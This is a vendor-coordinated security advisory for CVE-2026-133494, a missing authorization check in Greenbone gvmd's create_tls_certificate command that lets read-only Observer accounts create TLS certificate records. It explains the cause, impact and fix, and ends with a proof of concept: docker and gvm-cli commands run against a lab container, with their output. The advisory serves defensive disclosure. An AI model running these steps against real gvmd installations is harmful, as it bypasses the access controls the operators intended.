TAJ-2026-004: Greenbone Vulnerability Manager (gvmd), missing authorization in create_tls_certificate
Published . Last updated .
| Advisory ID | TAJ-2026-004 |
| CVE ID | CVE-2026-133494 |
| Vendor | Greenbone AG |
| Product | Greenbone Vulnerability Manager (gvmd) |
| Severity | Medium (CVSS 3.1 base score 4.3) |
| Status | Fixed in gvmd 26.43.0, released 27 October 2026 |
Summary
The create_tls_certificate command of the Greenbone Management Protocol (GMP) in Greenbone Vulnerability Manager (gvmd) did not check whether the calling user was permitted to create TLS certificates. Any authenticated GMP account, including one holding only the read-only Observer role, could create TLS certificate resources. All versions before 26.43.0 are affected. Users should upgrade to gvmd 26.43.0 or later.
Affected product and versions
| Vendor | Greenbone AG |
| Product | Greenbone Vulnerability Manager (gvmd), shipped in Greenbone Community Edition and as the manager component of Greenbone Enterprise appliances |
| Affected versions | All versions before 26.43.0 (< 26.43.0) |
| Fixed versions | 26.43.0 and later (>= 26.43.0), released 27 October 2026 |
| Component | GMP command create_tls_certificate:src/gmp_tls_certificates.c, create_tls_certificate_run()src/manage_sql_tls_certificates.c, create_tls_certificate() |
Severity and CVSS vector
| CVSS version | 3.1 |
| Base score | 4.3 (Medium) |
| Vector string | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L |
| CWE ID | CWE-862 |
| CWE description | CWE-862: Missing Authorization. |
CVE ID
Description
gvmd gates GMP commands in one of two ways: by a command-level access check, acl_user_may ("<command>"), or, for reads, by a resource-level ownership clause. A create command has no existing resource to look up, so the command-level check is the only gate.
25 of gvmd’s 26 create_* commands call acl_user_may(). create_tls_certificate did not. The function contained no acl_user_may call, no other acl_* call and no return 99 path, and its GMP handler had no case 99 on the create branch, so a permission denial could not have been reported even if one had occurred. The <copy> branch of the same handler did have a case 99, because copy_tls_certificate performs its own check, which made the omission an inconsistency inside a single function.
Within the same source file, delete_tls_certificate and modify_tls_certificate both performed the check. A user who could not modify or delete a TLS certificate could still create one.
The create_tls_certificate permission already existed in the product’s permissions table, granted to the User role and withheld from the built-in Observer role. The authorization decision was therefore already present in Greenbone’s own data and was simply never consulted by the code.
Impact
Any authenticated GMP account, including one holding only the Observer role that Greenbone documents and enforces elsewhere as read-only, could create TLS certificate resources. Observer accounts are commonly issued to auditors, managers and third parties precisely so that they can look without changing anything. The missing check broke the read-only guarantee of that role. Nothing limited how many TLS certificate records such an account could create, because no rate limit or quota applied to the command, so a low-privilege account could grow the stored data without bound, which is an availability impact.
What this was not: a created certificate is owned by the account that created it, and gvmd’s owner-filtered reads correctly keep it out of other users’ views. There was no cross-user data disclosure, which is why confidentiality is scored None.
Remediation
Upgrade to gvmd 26.43.0 or later.
The fix adds a command-level permission gate to create_tls_certificate_run(), if (!acl_user_may ("create_tls_certificate")), and a case 99 “Permission denied” branch on the non-copy create path.
We reviewed the fix and confirmed that it addresses the finding. For completeness: the new gate sits in the GMP layer, so the command is protected, while create_tls_certificate() in src/manage_sql_tls_certificates.c itself has no permission check, where the delete and modify functions in that file both have one. It is not reachable through GMP after the fix. This is relevant only to anyone calling that function from another code path.
Proof of concept
Reproduced against gvmd 26.42.0 (DB revision 281), container image registry.community.greenbone.net/community/gvmd:stable, running alongside pg-gvm:stable and gvm-tools:stable on one Docker network sharing the postgres and gvmd sockets. No scanner is required. The gate is absent in every release line we checked, from v22.4.0 through v26.0.0, in release 26.42.0, and on main at 16df7e0.
Step 1. Create a read only account using the shipped Observer role:
docker exec gvmd gosu gvmd gvmd --create-user=observer1 \
--password='ObsLab123!' --role=Observer
Step 2. Client shorthand:
G="docker exec -u 1000 gvm-tools gvm-cli"
S="socket --socketpath /run/gvmd/gvmd.sock"
O='--gmp-username observer1 --gmp-password ObsLab123!'
Step 3. Controls. The same account is correctly denied other create commands:
$G $O $S --xml '<create_target><name>ctrl-t</name><hosts>127.0.0.1</hosts></create_target>'
# status="400" status_text="Permission denied"
$G $O $S --xml '<create_filter><name>ctrl-f</name><term>rows=1</term></create_filter>'
# status="400" status_text="Permission denied"
Step 4. The test. The same read only account creates a TLS certificate:
CERT=$(docker exec gvmd sh -lc "openssl req -x509 -newkey rsa:2048 -nodes \
-keyout /dev/null -subj '/CN=taj-apps-poc' -days 2 2>/dev/null \
| openssl x509 -outform DER 2>/dev/null | base64 -w0")
$G $O $S --xml "<create_tls_certificate><name>poc-by-observer</name>\
<comment>created by a read-only Observer</comment>\
<certificate>$CERT</certificate></create_tls_certificate>"
# <create_tls_certificate_response status="201"
# status_text="OK, resource created"
# id="7cdb59c2-682b-4250-a94d-4f392d52ae76"/>
Step 5. The writes are real at the database level:
id | name | owner | creation_time
----+-----------------+-----------+---------------
1 | poc-by-observer | observer1 | 1792326375
2 | poc-by-observer | observer1 | 1792326557
Notes: an administrator’s get_tls_certificates returned zero records, which confirms the owner filtered reads work correctly; only the create gate was missing. A create_tag control failed with a syntax error rather than a permission error, so create_target and create_filter are the valid controls. We did not attempt to turn the attacker supplied X.509 blob into a parser level issue, which would be separate work.
Disclosure timeline
| Date | Event |
|---|---|
| Reported to security@greenbone.net, copying psirt@greenbone.net. | |
| Vendor acknowledged the report and confirmed they were investigating. | |
| Fix merged upstream (pull request #3213). | |
| Fix released in gvmd 26.43.0. | |
| Advisory published, as soon as a fix was available, under our Vulnerability Disclosure Policy. | |
| Proof of concept published. | |
| CVE-2026-133494 published. |
References
| CVE record | CVE-2026-133494 |
| Patch | https://github.com/greenbone/gvmd/pull/3213 |
| Fixed release | https://github.com/greenbone/gvmd/releases/tag/v26.43.0 |
| Affected source | https://github.com/greenbone/gvmd/blob/main/src/gmp_tls_certificates.c |
Credit
Found by TAJ APPS LLC.
Contact
If anything in this advisory or in its CVE record is wrong, incomplete or duplicated, email cve@tajapps.com, quoting CVE-2026-133494. To report a new vulnerability to us, email security@tajapps.com with “Security report” in the subject line, as set out in our Vulnerability Disclosure Policy.
Published under our Vulnerability Disclosure Policy. All advisories: tajapps.com/advisories.